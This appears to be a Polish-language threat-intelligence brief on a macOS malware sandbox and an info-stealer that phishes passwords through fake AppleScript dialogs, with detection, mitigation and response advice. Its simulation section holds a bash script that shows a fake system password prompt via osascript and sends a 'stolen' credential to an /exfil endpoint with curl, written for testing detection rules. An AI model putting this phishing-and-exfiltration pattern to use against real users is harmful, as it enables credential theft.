macOS Mirage: Analiza Dynamiczna i Wykrywanie Sigma dla Apple Silicon

Podsumowanie

VirusTotal wprowadził macOS Mirage, nową dynamiczną piaskownicę analityczną zaprojektowaną specjalnie dla Apple Silicon (ARM64) i macOS 26. Platforma dostarcza dokładną telemetrię behawioralną oraz automatyczne wykrycia Sigma, aby zidentyfikować rozwijające się zagrożenia dla macOS, takie jak info-stealery i złośliwe oprogramowanie wyłudzające dane uwierzytelniające. Rozwiązanie to adresuje przejście z systemów Intel na ARM64, działając przeciwko nowoczesnym zabezpieczeniom, w tym ochronie integralności systemu (SIP).

Dochody

Raport analizuje próbkę info-stealera dla macOS, unix51436504, który używa AppleScript do phishingu i wieloetapowych ładunków dla utrzymania i kradzieży danych. Badacze prześledzili złośliwe oprogramowanie od początkowego zwodniczego komunikatu o hasło przez utrzymywanie się oparte na LaunchDaemons i wycieku danych z Keychain, Safari oraz Apple Notes. Piaskownica skutecznie przyporządkowała te zachowania do odpowiednich technik MITRE ATT&CK za pomocą reguł Sigma.

Łagodzenie

Chociaż nie określono żadnych specyficznych łat oprogramowania, raport podkreśla monitorowanie nieautoryzowanego dostępu do wrażliwych lokalizacji, takich jak bazy danych Keychain, TCC.db i LaunchDaemons. Organizacje powinny wykrywać podejrzane użycie narzędzi wiersza poleceń, w tym osascript, curl i ditto, gdy są uruchamiane w nietypowych kontekstach. Krytyczne jest również monitorowanie wzorców wieloetapowego wykonywania i nieoczekiwanych modyfikacji plików w /tmp/ lub w katalogach domowych użytkowników.

Odpowiedź

Gdy te zachowania zostaną wykryte, osoby reagujące powinny natychmiast izolować dotknięte urządzenie macOS, aby zapobiec dalszemu wyciekowi danych. Zbadaj mechanizmy utrzymania, zwracając szczególną uwagę na /Library/LaunchDaemons i LaunchAgents na poziomie użytkownika. Przeprowadź kompleksową analizę danych Keychain, poświadczeń przeglądarki i kluczy SSH pod kątem możliwego naruszenia i zresetuj wszystkie ujawnione wrażliwe dane uwierzytelniające.

Wykonanie symulacji

• Narracja ataku i polecenia: Przeciwnik dąży do zbierania poświadczeń użytkownika, prezentując przekonujący, ale fałszywy systemowy dialog. Atakujący używa osascript do wywołania okna dialogowego macOS. Aby naśladować konkretną logikę reguły detekcji (która szuka specyficznego literówki 'passwen’), skrypt celowo użyje tego ciągu. Gdy użytkownik „prześle” fałszywe hasło, skrypt używa curl do przesyłania przechwyconych danych do zdalnego słuchacza, symulując fazę eksfiltracji info-stealera.

• Skrypt testu regresji:

  #!/bin/bash
  # Symulacja phishingu poświadczeń macOS Info-Stealer
  
  # 1. Wywołaj fałszywy dialog (zgodny z wskaźnikami 1 i 2)
  # Uwaga: Użycie 'passwen' do uruchomienia konkretnej logiki w regule detekcji
  osascript -e 'set passwen to display dialog "Aktualizacja bezpieczeństwa systemu: Proszę wprowadzić hasło macOS, aby kontynuować" default answer "" with icon caution'
  
  # 2. Symulacja eksfiltracji za pomocą curl (zgodna z wskaźnikiem 3)
  # Symulujemy wysyłanie "skradzionego" ciągu do lokalnego/zdalnego punktu końcowego
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Symulacja zakończona. Sprawdź SIEM pod kątem alertów."

• Polecenia oczyszczania:

  # Podczas tej symulacji nie utworzono żadnych plików trwałych.
  # Jeśli jakiekolwiek pliki tymczasowe byłyby używane do etapowania danych, byłyby tutaj usuwane.
  rm -f /tmp/stolen_creds.txt